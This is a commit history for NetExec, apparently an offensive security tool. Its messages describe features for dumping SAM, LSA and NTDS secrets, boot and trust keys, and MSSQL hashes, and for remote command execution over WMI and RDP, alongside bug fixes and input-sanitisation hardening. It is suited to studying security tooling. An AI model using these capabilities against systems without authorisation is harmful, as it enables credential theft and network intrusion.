Compare commits

...
Author SHA1 Message Date
mpgn 468f5923ed wmi: tell the user when a step hits --exec-timeout or the cleanup fails, and drop a dead stub 2026-11-02 18:02:10 +01:00
mpgn 7def180f59 wmi: raise on a refused Win32_Process.Create, catch exec errors in wmi.py, honour --exec-timeout for every step 2026-10-27 23:01:01 +01:00
mpgn c14cab226e wmi: check Win32_Process.Create's return value and let --exec-timeout raise the encode/store waits 2026-10-24 21:19:09 +02:00
mpgn 68e1ad2031 wmi: wait for the remote process instead of fixed sleeps in -x / -X
wmi -x/-X: run the command, then poll Win32_Process by PID (and its
children) until it exits, bounded by --exec-timeout, instead of fixed
sleeps. certutil and reg add run as one chained process.
2026-10-17 19:27:46 +02:00
Alex 8a502536d5 Merge pull request #1477 from 0xdf223/fix/dc-detect-no-null-session
Treat missing null session as inconclusive in SMB DC detection
2026-10-17 10:43:08 -04:00
oxdfandClaude Opus 5.5 35a02b4059 Treat missing null session as inconclusive in SMB DC detection
_is_dc_via_smb() assumed a DC with NTLM enabled always accepts a null
session, so it returned False when the null bind failed. Server 2025 DCs
refuse anonymous SMB sessions by default, so they were marked as not a DC
and the RPC/Kerberos probes never ran. This broke --generate-krb5-file and
--generate-hosts-file against those DCs.

Return None instead so the remaining probes decide.

Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-10-17 08:26:47 -04:00
Alex 98a4679a23 Merge pull request #1475 from Pennyw0rth/neff-improve-loadtime 2026-10-16 13:38:23 -04:00
mpgn 9ddb09a0bc Merge pull request #1277 from azoxlpf/feat/add-schannel
add Schannel certificate authentication via --schannel
2026-10-16 19:17:32 +02:00
Alexander Neff a5e9d4a4e5 Move CCache import as well 2026-10-16 17:48:43 +02:00
Alexander Neff 7b98eccef5 Ruff 2026-10-16 17:30:21 +02:00
Alexander Neff a1036a1677 Load heavy imports conditionally 2026-10-16 17:28:27 +02:00
Alex 901d53ade4 Merge pull request #1473 from azoxlpf/fix/rdp-os-detection
Resolve RDP server OS from the NTLM build number
2026-10-16 11:26:09 -04:00
Alexander Neff 396e34fe82 Remove unused import 2026-10-16 17:22:48 +02:00
Alexander Neff b09311a9df Move dcom logic from connection to helpers 2026-10-16 17:22:14 +02:00
azoxlpf 62fc9a6ffa Fall back to the raw 10.0 version for builds missing from WIN_VERSIONS 2026-10-16 12:05:48 +02:00
azoxlpf aaaa369156 Resolve RDP server OS from the NTLM build number 2026-10-16 11:26:14 +02:00
azoxlpf 57daa0baeb add the e2e test certificate for the Schannel commands 2026-10-16 10:01:55 +02:00
azoxlpf 7eb995f6cb skip the database entry for certificate binds, move the --schannel argument check to netexec.py 2026-10-16 09:17:22 +02:00
azoxlpf bf32ced7d7 Add e2e commands 2026-10-15 22:07:28 +02:00
azoxlpf 59c451d36f resolve the Schannel account domain from whoami 2026-10-15 17:25:36 +02:00
mpgn 735ccc3db2 bump also poetry.lock 2026-10-15 16:01:00 +02:00
azoxlpf bcf045a882 use impacket LDAP whoami instead of a hand-rolled extended request 2026-10-15 15:37:03 +02:00
azoxlpf f51dd4f4df Merge branch 'main' into feat/add-schannel 2026-10-15 15:25:12 +02:00
mpgn 89a698d93d Merge pull request #1468 from Pennyw0rth/certipy-nxc 2026-10-14 20:12:24 +02:00
mpgn 6c312cd791 deps: declare certipy-nxc exclude-newer override in pyproject so CI keeps the lockfile 2026-10-14 18:21:15 +02:00
mpgn 0602ef4367 deps: replace certipy-ad git fork with certipy-nxc from PyPI
The Pennyw0rth/Certipy fork, synced with ly4k/Certipy main (incl. #348), is now published on PyPI as certipy-nxc 5.1.0.post1. The fork keeps Python 3.11 support and allows impacket 0.14.0.dev. uv.lock overrides exclude-newer for certipy-nxc so it can be locked right after publishing. Fixes pip/pipx installs, which failed after the fork was renamed.

Tested certipy-find against an AD CS lab on Python 3.11 and 3.13.
2026-10-14 18:18:46 +02:00
Alex 28e585121f Merge pull request #1462 from Pennyw0rth/neff-improve-mssql-output 2026-10-12 00:21:42 +02:00
Alexander Neff f7835c3ba7 Add simple visual separater 2026-10-11 18:14:03 -04:00
mpgn a419bd58e3 Merge pull request #1329 from Adamkadaban/rdp-exec-reliability-final
[Draft] Fix RDP command execution reliability
2026-10-11 18:22:53 +02:00
mpgn 893ff6f1ff fix(rdp): non-NLA fallback for auth_only exec check + builtin TimeoutError; warn on -X too 2026-10-11 18:12:10 +02:00
mpgn 1d8296c67c fix ruff 2026-10-11 17:39:04 +02:00
mpgn ca96761290 Merge remote-tracking branch 'upstream/main' into rdp-exec-reliability-final
# Conflicts:
#	nxc/protocols/rdp.py
2026-10-11 16:29:31 +02:00
mpgn e9fd573953 Merge pull request #1348 from azoxlpf/fix/rdp-pwned-gui-access
Only mark RDP hosts Pwn3d when a real session actually opens
2026-10-11 16:07:45 +02:00
mpgn 93afe3e049 fix ruff 2026-10-11 16:06:29 +02:00
mpgn f5d2c8803f bump aardwolf 2026-10-11 15:58:12 +02:00
mpgn 90f2d9c165 Merge branch 'main' into fix/rdp-pwned-gui-access 2026-10-11 15:54:34 +02:00
mpgn 9ec65be0c8 Merge pull request #1379 from Pennyw0rth/wmi_dump
[WMI] Add SAM, LSA and NTDS dump
2026-10-11 10:40:12 +02:00
mpgn c6665867bf Merge pull request #1461 from Pennyw0rth/raisechild 2026-10-11 09:47:19 +02:00
mpgn 43c569aa8d update lock files 2026-10-10 23:06:41 +02:00
mpgn f8b53ae8ba update lock files 2026-10-10 22:40:08 +02:00
mpgn f0c40cd85d fix raisechild module 2026-10-10 22:39:57 +02:00
Alex 306bf295dc Merge pull request #1453 from BepuSun/fix_rclone 2026-10-05 00:15:43 +02:00
BepuSun 0c21bf9bcd Ketp AES.block_size in rclone.py
Signed-off-by: BepuSun <[email protected]>
2026-10-04 23:36:29 +02:00
BepuSun ec6d41f10e fix rclone padding and library 2026-10-04 15:19:41 -04:00
BepuSun 7135d89d92 fix rclone padding and library 2026-10-04 15:03:26 -04:00
Alex 94048441cb Merge pull request #1450 from Pennyw0rth/neff-remove-py3.10
Remove Python 3.10
2026-10-03 01:42:17 +02:00
Alexander Neff 609f03a184 Remove py3.10 2026-10-02 19:11:08 -04:00
Alexander Neff 535f26ddc5 Update lock files 2026-10-02 18:39:13 -04:00
Alexander Neff 8f2fa9689e Ruff fixes 2026-10-02 18:32:47 -04:00
Alexander Neff 9592f690fd Remove py3.10 2026-10-02 18:32:29 -04:00
Alexander Neff 0ded751b31 Wording 2026-10-02 18:20:49 -04:00
Alex 8adf9cbd55 Merge pull request #1448 from snowpeacock/main
feat: switch --ntds vss method to remoteSSWMI
2026-10-03 00:17:08 +02:00
Alexander Neff 7a199c211f Formatting 2026-10-02 18:12:17 -04:00
Alexander Neff ea761c1330 Sanitize filename 2026-10-02 18:12:12 -04:00
Alex d688285c76 Merge branch 'main' into main 2026-10-01 18:47:25 +02:00
zblurx 064374ceb9 Merge branch 'wmi_dump' of github.com:Pennyw0rth/NetExec into wmi_dump 2026-10-01 10:03:29 +02:00
zblurx 07aef24f0f fix error with shadow copy filesize 2026-10-01 10:03:25 +02:00
Alex 3e0e37e8b5 Merge pull request #1444 from Pennyw0rth/fix-path-traversals
Fix all kinds of security issues
2026-09-30 21:04:49 +02:00
snowpeacock b37469c673 feat: switch VSS method to remoteSSWMI 2026-09-30 16:06:01 +02:00
zblurx 59bfc04b7e Merge branch 'main' into wmi_dump 2026-09-30 15:50:29 +02:00
zblurx 641ba4d486 ruff 2026-09-30 15:42:53 +02:00
zblurx 61bec860e9 change logic in wmi read_file 2026-09-30 15:41:53 +02:00
Alex 47025801b1 Merge pull request #1447 from Pennyw0rth/neff-fix-tasklist-kill 2026-09-27 23:37:06 +02:00
Alexander Neff 71c36e9a09 Fix new task format for task killing 2026-09-27 17:23:06 -04:00
Alexander Neff 6555186bce Fix new task format 2026-09-27 17:15:13 -04:00
Alexander Neff bb7afd4a09 Fix lock file 2026-09-27 17:14:59 -04:00
Alex 226a2f4d3e Merge pull request #1446 from Pennyw0rth/neff-improve-PR-template
Enforce AI usage rules
2026-09-27 23:05:03 +02:00
Alexander Neff e056c5a857 Enforce AI usage rules, also trim down a bit 2026-09-27 17:00:11 -04:00
Alexander Neff d8bc2f7dc8 Remove bullshit tests 2026-09-27 16:37:38 -04:00
Alexander Neff 13d00e4b22 Losen filename restrictions to allow curly braces and fix tests 2026-09-27 16:35:38 -04:00
Alexander Neff 910415c897 Losen DNS sanitization to allow weird windows dns names 2026-09-27 16:29:23 -04:00
Alexander Neff 91b0964e75 Prevent path traversal attacks 2026-09-27 16:18:31 -04:00
Alexander Neff 4187fa7bf7 Prevent sql injection 2026-09-27 16:13:37 -04:00
Alex 74c93d147d Merge pull request #1388 from Diogo-Damasceno/fix/ldap-query-non-entry-1349-clean
Fix #1349: skip non-SearchResultEntry objects in LDAP --query
2026-09-27 22:13:25 +02:00
Alexander Neff ba64b23ff5 Add patch by @azoxlpf fixing --query when receiving non-searchresult entries 2026-09-27 16:06:14 -04:00
Alexander Neff 752c43f0c8 Delete tests 2026-09-27 16:01:41 -04:00
Alex 641f99d192 Merge pull request #736 from Fabrizzio53/main
Create tombstone module
2026-09-25 16:24:09 +02:00
Alexander Neff a47d07e005 Preserve remote filename while sanitizing local file name 2026-09-24 17:05:18 -04:00
Alexander Neff 87d34add5f Preserve remote filename while sanitizing local file name 2026-09-24 17:04:50 -04:00
Alexander Neff bde37055bc Sanitize SMB download folder 2026-09-24 16:35:52 -04:00
Alexander Neff 654f3c12d8 Sanitize SMB input 2026-09-24 16:25:00 -04:00
Alexander Neff 31ca909e4e Add tests 2026-09-24 16:19:28 -04:00
Alexander Neff 5e31253313 Sanitize SQL statements 2026-09-24 16:19:11 -04:00
Alexander Neff 150f323e90 Add DNS sanitization 2026-09-24 16:17:08 -04:00
Alexander Neff 736ca36c56 Add AGENTS.md instructions 2026-09-24 14:20:31 -04:00
Alexander Neff 25076be9df Add tests 2026-09-24 13:17:26 -04:00
Alexander Neff 88c4963fc6 Sanitize manual NTLM challenge parsing 2026-09-24 13:17:17 -04:00
Alexander Neff c812041b17 Apply path sanitization 2026-09-23 15:22:05 -04:00
Alexander Neff 23be541d0a Add comments 2026-09-23 15:02:47 -04:00
Alexander Neff a995133e83 Add path sanitizer 2026-09-23 14:57:19 -04:00
Alexander Neff c375b3bb8c Add DNS sanitization function 2026-09-23 14:52:09 -04:00
Alex 4134e689e0 Merge pull request #1387 from Diogo-Damasceno/fix/nxcdb-host-csv-header
Fix #1385: derive nxcdb hosts CSV header from the protocol's HostsTable
2026-09-23 20:27:47 +02:00
Alex 83df61b0bd Merge pull request #1384 from Diogo-Damasceno/fix/ssh-key-type-rejected
ssh: distinguish 'key type rejected by server' from invalid passphrase (issue #1356)
2026-09-23 20:24:56 +02:00
Alexander Neff bd87cc26ee Remove tests file 2026-09-23 14:19:43 -04:00
Alexander Neff 1b3f75b06b Add patch by @azoxlpf fixing nxcdb export headers 2026-09-23 14:18:27 -04:00
Alexander Neff 18a2bfa6de Remove unused import 2026-09-23 14:13:09 -04:00
Alexander Neff ed9fb8b33f Formatting 2026-09-23 14:10:58 -04:00
Alexander Neff fb0fbc197d Merge branch 'main' into fix/ssh-key-type-rejected 2026-09-23 14:10:00 -04:00
Alexander Neff c8394ad1d6 Add patch by @azoxlpf fixing SSH error detection if pass auth is disabled 2026-09-23 14:08:18 -04:00
mpgn 72abb0776e Merge pull request #1441 from abdo210xl/backup-operator-bootkey
Added live boot key extraction to backup_operator
2026-09-23 16:55:58 +02:00
zblurx cd956dd91f ruff 2026-09-23 10:11:42 +02:00
mpgn 27a3a3a796 Merge pull request #1442 from Pennyw0rth/mpgn-patch-1
Update aardwolf dependency version
2026-09-22 23:06:01 +02:00
mpgn ef3d4c8a76 Update aardwolf dependency version
Updated aardwolf dependency version to 0.2.14.

Signed-off-by: mpgn <[email protected]>
2026-09-22 22:56:22 +02:00
Alex 643c9370e5 Merge pull request #1440 from azoxlpf/fix/rdp-legacy-tls-864 2026-09-22 22:15:48 +02:00
Abdelrahman Mohamed 2f1c3e0275 Added live boot key extraction to backup_operator
Signed-off-by: Abdelrahman Mohamed <[email protected]>
2026-09-22 22:39:25 +03:00
azoxlpf 26568e44ab Reach legacy RDP servers by allowing weak TLS ciphers 2026-09-22 21:37:02 +02:00
Alexander Neff b9535e6775 Formatting 2026-09-22 13:10:45 -04:00
Alexander Neff e3d86824ee Improve module description 2026-09-22 13:07:01 -04:00
Alex fdb60ae38e Merge pull request #1258 from Dfte/add_mssql_database_listing
Add --list-backups allowing enumerating databases backups on MSSQL
2026-09-22 17:58:44 +02:00
Alexander Neff a8dec3c6f7 Merge branch 'main' into add_mssql_database_listing 2026-09-22 11:49:03 -04:00
Alexander Neff f1726b0520 Simplify logic 2026-09-22 11:46:09 -04:00
Alexander Neff fc3fb874c0 First review pass simplifying logic 2026-09-22 11:45:41 -04:00
Alexander Neff 9bfa036013 Remove unused import 2026-09-22 11:36:05 -04:00
Alexander Neff 3e0cc700e7 Simplify action selection 2026-09-22 11:35:48 -04:00
Alexander Neff 553224031e Simplify module args 2026-09-22 11:35:11 -04:00
Alexander Neff 421bd670d2 Remove unnecessary init 2026-09-22 11:34:12 -04:00
Alexander Neff 1920b3b515 Sort imports 2026-09-22 11:33:50 -04:00
zblurx f55edf3987 support big files download 2026-09-22 17:07:48 +02:00
Alex af92759b49 Merge pull request #1257 from Dfte/add_hash_dump_mssql
Add local database hash dump for mssql
2026-09-22 15:11:33 +02:00
Alex 3a7bf59909 Merge pull request #1433 from Pennyw0rth/neff-fix-backup-operator 2026-09-20 19:34:24 +02:00
Alex 12ebe0d34b Merge branch 'main' into main 2026-09-20 14:44:25 +02:00
Alexander Neff 818985bdd3 Rename sanitizing function 2026-09-20 08:11:15 -04:00
Alexander Neff e63a43c1f0 Improve DNS check to be compliant with referenced RFCs 2026-09-20 08:04:08 -04:00
Alex b4ce916a03 Merge branch 'main' into fix/sanitize-ntlm-hostname 2026-09-20 13:09:20 +02:00
Alexander Neff 3808655afa Add big timeout for backup-operator module for larger hives 2026-09-20 06:20:05 -04:00
Alex a0a37b7af8 Merge pull request #1429 from termanix/patch-1
Add NTLM Authentication for getKerberosTGT on ResetNightmare Module
2026-09-19 16:39:04 +02:00
termanix 475a8419c7 Merge branch 'patch-1' of https://github.com/termanix/NetExec into patch-1 2026-09-19 15:59:57 +03:00
termanix 76486f14a5 removed double strings from getKerberosTGT 2026-09-19 15:58:16 +03:00
termanix f0e0cc6c84 Merge branch 'main' into patch-1 2026-09-19 15:53:19 +03:00
termanix 03ae02ec01 empty strings fallback to first defined line from getKerberosTGT 2026-09-19 15:52:00 +03:00
termanix 57c5af5fc2 edit e2e 2026-09-19 15:50:13 +03:00
Alex 9eb36e489b Merge pull request #1428 from MRX-72/fix-ssh-timeout-error
SSH: catch TimeoutError during login with a clean fail message
2026-09-19 13:42:04 +02:00
termanix 325cd1c73b removed sys library, sys.exit swapped to return false 2026-09-19 10:55:52 +03:00
termanix efb0f308e9 Comment out shadow-cred and resetnightmare
Signed-off-by: termanix <[email protected]>
2026-09-19 10:51:25 +03:00
termanix 3299d94e92 misleading naming 2026-09-18 17:35:28 +03:00
termanix 4f6ef43aca edit e2e_commands 2026-09-18 15:12:21 +03:00
termanix ff52856d2e Add NT hash usage on example line 2026-09-18 15:10:24 +03:00
termanix 99c65e87b0 Add NTLM Auth for getKerberosTGT 2026-09-18 21:53:31 +03:00
Mrx 60b3a5d3d0 SSH: catch TimeoutError during login with a clean fail message
plaintext_login() only caught AuthenticationException and SSHException
before falling through to the generic Exception handler, which logs via
logger.exception() and dumps a full traceback. A connection timing out
mid-login is routine on a target sweep, not something that needs a stack
trace, and smb.py already treats TimeoutError this way elsewhere in the
codebase.

Fixes #358
2026-09-18 13:45:47 +05:30
mpgn 22840bfc2a Merge pull request #1427 from Pennyw0rth/dpapi_logging_fix_v2
Revert "Revert "[DPAPI] Fix logging origin in dpapi related modules""
2026-09-15 22:10:44 +02:00
mpgn 615a501dff uv lock update with newer correct time 2026-09-15 22:01:07 +02:00
mpgn 5f5aa26a46 Revert "Revert "[DPAPI] Fix logging origin in dpapi related modules""
This reverts commit 11d9151737.
2026-09-15 21:57:34 +02:00
mpgn 85aa3486d8 Merge pull request #1426 from Pennyw0rth/revert-1423-dpapi_logging_fix
Revert "[DPAPI] Fix logging origin in dpapi related modules"
2026-09-15 21:44:20 +02:00
mpgn 11d9151737 Revert "[DPAPI] Fix logging origin in dpapi related modules" 2026-09-15 21:41:48 +02:00
mpgn a43afcee4f Merge pull request #1423 from Pennyw0rth/dpapi_logging_fix
[DPAPI] Fix logging origin in dpapi related modules
2026-09-15 21:41:06 +02:00
Alexander Neff df9c32276a Update lock files 2026-09-15 14:46:59 -04:00
Alexander Neff 47af3a022c Formatting 2026-09-15 14:46:29 -04:00
zblurx 4fd05318df check filesize and warn user if too big 2026-09-14 17:57:44 +02:00
zblurx e193097969 adapt LSA dump to dpapi upgrade 2026-09-14 16:44:43 +02:00
zblurx 5b83b43486 Merge branch 'main' into wmi_dump
Signed-off-by: zblurx <[email protected]>
2026-09-14 16:26:39 +02:00
zblurx d542b20224 fix logging origin in dpapi related modules 2026-09-14 16:11:15 +02:00
Alex d4cdc6c019 Merge pull request #1421 from rtpt-romankarwacik/ldap_signing_except 2026-09-14 13:38:44 +02:00
Roman Karwacik 3746e0d8cc Catch LDAP connection errors while checking for signing 2026-09-14 13:09:30 +02:00
Alex 81e53ecb9c Merge pull request #1419 from Pennyw0rth/neff-fixes
Add a bunch of small fixes
2026-09-14 00:26:58 +02:00
Alexander Neff 310979ab59 Merge branch 'main' into neff-fixes 2026-09-13 18:20:28 -04:00
Alexander Neff 852549566c Merge branch 'main' into add_mssql_database_listing 2026-09-13 18:11:15 -04:00
Alexander Neff d5e04789c4 Formatting 2026-09-13 18:10:32 -04:00
Alexander Neff db63325450 Merge branch 'main' into add_hash_dump_mssql 2026-09-13 18:04:21 -04:00
mpgn 7bd77885b7 Merge pull request #1327 from Pennyw0rth/dpapi_upgrade
[dploot upgrade] Add --dpapi on WMI, WINRM and MSSQL protocols
2026-09-13 23:57:08 +02:00
mpgn aecf64dbc7 uv lock update 2026-09-13 23:55:34 +02:00
Alexander Neff 0b3f805283 Change negative expression logging message 2026-09-13 17:46:37 -04:00
Alex d3c3ca9dea Merge pull request #1259 from Dfte/refactor_list_database
Refactor the --database argument to comply with security checks
2026-09-13 23:44:32 +02:00
Alexander Neff a6017269af Fixing wrongfully string decoding 2026-09-13 17:42:00 -04:00
Alexander Neff ee3dd5e0e6 Formatting 2026-09-13 17:35:47 -04:00
Alexander Neff 490d7397f2 Formatting 2026-09-13 17:33:16 -04:00
Alexander Neff f1078b6622 Use dploot pypi version 2026-09-12 12:36:36 -04:00
Alexander Neff e5b7a5f3b4 Merge branch 'main' into dpapi_upgrade 2026-09-12 09:40:34 -04:00
Alexander Neff 164f35dddd Catch Exception if software is not installed 2026-09-12 09:32:00 -04:00
Alexander Neff 4e2c0a60d4 Rename 'context' to 'connection' so it is in line with modules 2026-09-12 09:24:34 -04:00
Alexander Neff 9249bb3834 Fix remoteng execution 2026-09-12 09:21:14 -04:00
Alexander Neff 317840f6df Remove unused functions and imports 2026-09-12 09:12:05 -04:00
Fabrizzio53 44267c807f Recover the description field of deleted objects
Added new code to recover the description (if active) from deleted objects

Signed-off-by: Fabrizzio53 <[email protected]>
2026-09-11 17:24:46 -03:00
Alexander Neff 44cc9f1333 Ruff 2026-09-11 17:54:56 +02:00
Alexander Neff 333ec792f0 lock file hash 2026-09-11 17:36:36 +02:00
Alexander Neff a92275586e Fix crash if NTLM is unavailable 2026-09-11 17:36:10 +02:00
Alexander Neff 32469fea8b Fix bloodhound collection if signing and cbt is enforced 2026-09-11 17:35:39 +02:00
Alexander Neff 5823cdba20 Add ftp --cat command 2026-09-11 17:34:32 +02:00
Alexander Neff a7626dd2c4 Improve ftp host banner and session closing 2026-09-11 17:34:12 +02:00
Alexander Neff 6b5f557736 Remove useless share listing 2026-09-11 17:33:24 +02:00
Alexander Neff 40abafc41b Add some padding for user descriptions 2026-09-11 17:32:45 +02:00
Alexander Neff 6c29f3c6e4 Fix error handling of impacket/rpcrt 2026-09-11 17:32:26 +02:00
Alexander Neff c3122a9487 Add generic exception handler for ConnectionRefused 2026-09-11 17:29:41 +02:00
mpgn e6deadf5c7 Merge pull request #1413 from Natasha-B/fix-ldap-check
Fix false positives on ldap signing and cbt checks when NTLM is disabled
2026-09-11 11:58:39 +02:00
mpgn dde1482435 Fix conditional check for signing_required
Signed-off-by: mpgn <[email protected]>
2026-09-11 11:56:16 +02:00
Natasha-B ff987ee634 Fix false positives on ldap signing and cbt checks when NTLM is disabled 2026-09-10 17:30:58 +02:00
Alex c72f2ca98e Merge pull request #1390 from XiaoliChan/wmi-reuse-fix
[WMI] Reuse DCOM fix
2026-09-09 22:31:19 +02:00
Alexander Neff 402615522e Merge branch 'main' into wmi-reuse-fix 2026-09-09 16:22:22 -04:00
Alex 5d9ea3a0ad Merge pull request #1410 from Pennyw0rth/neff-fix-encoding
Change CRLF to LF of bitlocker file module
2026-09-09 22:19:21 +02:00
Alexander Neff c612a1347a Change CRLF to LF 2026-09-09 16:15:08 -04:00
mpgn 90efb2a9f3 Merge pull request #1321 from Goultarde/feature/trust-keys 2026-09-09 22:06:24 +02:00
mpgn 8073a798e0 update lock files 2026-09-09 21:19:39 +02:00
mpgn 6699b40757 Merge branch 'main' into feature/trust-keys 2026-09-09 21:10:00 +02:00
Goultarde 98d0549ae1 Respect history for TDO trust keys 2026-09-09 21:07:25 +02:00
mpgn 8230e9a2d3 fix from update of impacket 2026-09-09 20:54:05 +02:00
Alexander Neff 0cc365cef2 Formatting 2026-09-09 12:27:16 -04:00
Alexander Neff b328661dd4 Formatting 2026-09-09 11:59:07 -04:00
Alexander Neff 7fd40a391c Formatting 2026-09-09 11:51:41 -04:00
Alexander Neff 467123465a Formatting 2026-09-09 11:48:41 -04:00
Alexander Neff 0de205c95f Fix lock files 2026-09-09 11:45:47 -04:00
zblurx 887941fc50 Merge branch 'main' into wmi_dump
Signed-off-by: zblurx <[email protected]>
2026-09-09 10:47:47 +02:00
zblurx 5e95c3490e revert impacket dep to the original repo 2026-09-09 10:41:47 +02:00
XiaoliChan eee763caad bitlocker module: reuse the wmi protocol connection instead of a second DCOMConnection
Same pattern as the rdp module fix: BitLockerWMI creates its own
DCOMConnection to the same target the wmi protocol already holds one
for, and disconnecting it removes the shared INTERFACE.CONNECTIONS
thread entry, so the protocol-level disconnect afterwards raises
KeyError on impacket versions that do not guard it. Reuse the
protocol's IWbemLevel1Login instead - over smb nothing changes.
2026-09-05 19:56:39 +08:00
XiaoliChan 26e2007d77 rdp module: reuse the wmi protocol connection instead of a second DCOMConnection
When running over the wmi protocol the module now reuses the protocol's
authenticated IWbemLevel1Login instead of creating its own
DCOMConnection to the same target - whose disconnect would clash with
the protocol's own on impacket versions that do not guard the
INTERFACE.CONNECTIONS thread entry (KeyError: ThreadPoolExecutor-x_x).
Over smb nothing changes: the module still creates its own
DCOMConnection since the protocol has none.
2026-09-05 19:56:39 +08:00
Diogo_Damasceno 59d29c895a Fix #1349: skip non-SearchResultEntry objects in LDAP --query
The `query()` loop iterated the parsed response but indexed the raw
response with `resp[idx]`, bumping `idx` in a way that never skipped the
current iteration. When the LDAP server returned a non-SearchResultEntry
object (e.g. a SearchResultReference), the code crashed with a TypeError
('<' not supported between instances of 'str' and 'int' / object not
subscriptable).

Now we iterate the raw response directly, `continue` on anything that is not
a `SearchResultEntry`, and read `objectName` from the real entry. The
display logic is unchanged for valid entries.

Added tests/test_ldap_query_iteration.py covering the skip behaviour.
Verified on Python 3.14.7.
2026-09-04 08:29:02 -03:00
Diogo_Damasceno ce33ac0f8d Fix #1385: derive nxcdb hosts CSV header from the protocol's HostsTable
The `export hosts` CSV header was hard-coded to the SMB schema
(smbv1/signing/spooler/zerologon/petitpotam), so exporting hosts for any
other protocol (RDP, MSSQL, SSH, LDAP, ...) produced a header that did not
match the row content.

Now the header is derived from the active protocol's HostsTable columns via a
new `host_csv_headers()` helper, as suggested in the issue: default to the
real column names instead of static SMB strings. `simple` keeps the first 8
columns (historical row width); `detailed` returns every column of the table.
No unrelated formatting changes.

Added tests/test_nxcdb_host_export.py covering SMB (no regression) and RDP
(no SMB-only columns leak into the header). Verified on Python 3.14.7.
2026-09-04 08:14:08 -03:00
zblurx 2fc046558c Merge branch 'main' into dpapi_upgrade 2026-09-03 16:35:46 +02:00
Diogo_Damasceno 2e96341424 ssh: distinguish 'key type rejected by server' from invalid passphrase (issue #1356)
When an sshd server rejects a public key because its algorithm is not in
PubkeyAcceptedAlgorithms (e.g. server allows only ssh-ed25519 while the
key is RSA), Paramiko raises with a message such as 'Auth rejected:
pubkey algorithm ... unsupported or disabled' or 'Unable to agree on a
pubkey algorithm ...'. These were previously surfaced as the misleading
'Could not decrypt private key, invalid password'.

Add _is_key_type_rejected() and use it in plaintext_login() so the user
gets a clear 'Key type rejected by server (pubkey algorithm not allowed)'
message, while wrong-passphrase and encrypted-key cases keep their
existing behavior.

Add tests/test_ssh_key_type_rejection.py covering the real Paramiko 5.x
rejection messages and asserting the existing cases are not misclassified.
2026-09-03 11:21:25 -03:00
mpgn 978270ad00 Add default value to --trust-keys argument
Set default value for --trust-keys argument to True.

Signed-off-by: mpgn <[email protected]>
2026-08-31 21:49:41 +02:00
mpgn 9e94f58081 simplify the logic and fix regression
Signed-off-by: mpgn <[email protected]>
2026-08-31 21:45:18 +02:00
zblurx 4bf5abdcdc ruff 2026-08-31 12:39:54 +02:00
zblurx 961f4e5028 enhance use of credentials in db 2026-08-31 11:52:05 +02:00
zblurx 6ee4802743 fix dploot_connection upgrade debug log message 2026-08-31 11:09:07 +02:00
zblurx 42fe6b4840 remove print 2026-08-31 10:51:40 +02:00
zblurx 7308add93f Merge branch 'dpapi_upgrade' of github.com:Pennyw0rth/NetExec into dpapi_upgrade 2026-08-31 10:41:38 +02:00
zblurx a9b8cf8e0a add highlight in log_secret and set output_file in init 2026-08-31 10:40:21 +02:00
Alexander Neff ff3d4937b4 Merge branch 'main' into dpapi_upgrade 2026-08-30 11:58:09 -04:00
zblurx b114c644c5 showing machine keys if collected 2026-08-28 11:36:03 +02:00
zblurx 0d2af8bdd5 added display message when dump LSA 2026-08-28 11:28:45 +02:00
zblurx 78d607b84b fix issue with default shadow_id value 2026-08-27 16:35:55 +02:00
zblurx 34b7a35118 ruff 2026-08-27 13:00:20 +02:00
zblurx 48cc6b0e30 added --use-snapshot-id arg 2026-08-27 12:54:15 +02:00
zblurx 65f4714953 add ntds dump 2026-08-27 12:44:06 +02:00
zblurx 3c52ecb40e create wmi RemoteOperation class 2026-08-27 11:48:08 +02:00
zblurx ee9f59e513 refacto namespace loading 2026-08-27 10:45:24 +02:00
zblurx b6f20e40b9 ruff 2026-08-26 18:04:11 +02:00
zblurx ab4a44cf4d update poetry lock 2026-08-26 18:00:58 +02:00
zblurx 4711814adb add sam and lsa dump 2026-08-26 18:00:09 +02:00
zblurx a819614fc2 add get_file 2026-08-26 17:08:11 +02:00
zblurx 0de1fc8cd5 change function name to log_secret to make it clearer 2026-08-25 12:08:38 +02:00
zblurx 92e61efe14 Fix the open file to append instead of overwrite 2026-08-25 11:55:19 +02:00
zblurx 01536dc628 ruff 2026-08-25 11:51:40 +02:00
zblurx 8e4fc22290 move it closer to dpapi stuff, easier to read 2026-08-25 11:50:42 +02:00
zblurx 1d06afcc84 only rely on kdcHost for backupkey recovery 2026-08-25 11:47:50 +02:00
zblurx c5ab84af01 added lsa quiet mode 2026-08-25 11:37:40 +02:00
zblurx cb7d22ccbc modify output_file and counter management 2026-08-25 11:22:46 +02:00
zblurx 473e33352e update args pvk 2026-08-25 10:02:25 +02:00
Alexander Neff 35bf9d183e Fix linting 2026-08-23 09:44:49 -04:00
Alexander Neff b5da832c31 Add legacy path for mremoteng conf files 2026-08-23 09:42:51 -04:00
Alexander Neff d4ee81fa3f Update lock file 2026-08-23 08:36:12 -04:00
Alexander Neff 79e14ea61e Update lock file 2026-08-23 08:35:43 -04:00
Alexander Neff 31428e9674 Merge branch 'main' into dpapi_upgrade 2026-08-23 08:34:40 -04:00
azoxlpf 14f10c31f8 ignore -u with --schannel and name the auth method in the connect log 2026-08-16 17:56:10 +02:00
Adam Hassan 5b1ee92773 fix(rdp): only warmup .NET runtime when output is needed 2026-08-16 02:12:22 -07:00
Adam Hassan ab7c2d56d3 fix(rdp): prime .NET runtime to eliminate cold-start timeout on Win11 2026-08-16 02:12:22 -07:00
Adam Hassan 5d45303e19 fix(rdp): return None from clipboard timeout, not empty string 2026-08-16 02:12:21 -07:00
Adam Hassan ac6f58149f fix(rdp): use auth_only connect to prevent Win11 clipboard failure 2026-08-16 02:12:21 -07:00
Adam Hassan 78169e8354 fix(rdp): preserve protocol overrides and kerberos logging 2026-08-16 02:12:21 -07:00
Adam Hassan 22db44f380 fix: terminate connection on connect failure to prevent socket leak 2026-08-16 02:12:20 -07:00
Adam Hassan 2aa0601c88 docs: clarify supported_protocols reset 2026-08-16 02:12:20 -07:00
Adam Hassan ae77d482b9 docs: add inline comments for clipboard sync and PS launcher 2026-08-16 02:12:20 -07:00
Adam Hassan 9bba4a1013 fix(rdp): support legacy PowerShell clipboard access 2026-08-16 02:12:20 -07:00
Adam Hassan 5b6647b4d0 fix(rdp): stabilize headless command execution 2026-08-16 02:12:19 -07:00
zblurx daed14661a update docstrings in dpapi.py helper 2026-08-12 13:49:32 +02:00
azoxlpf d950a5cc13 share one certificate loader between PKINIT and Schannel 2026-08-09 17:27:22 +02:00
Azox 163139b115 Merge branch 'main' into feat/add-schannel 2026-08-09 17:02:20 +02:00
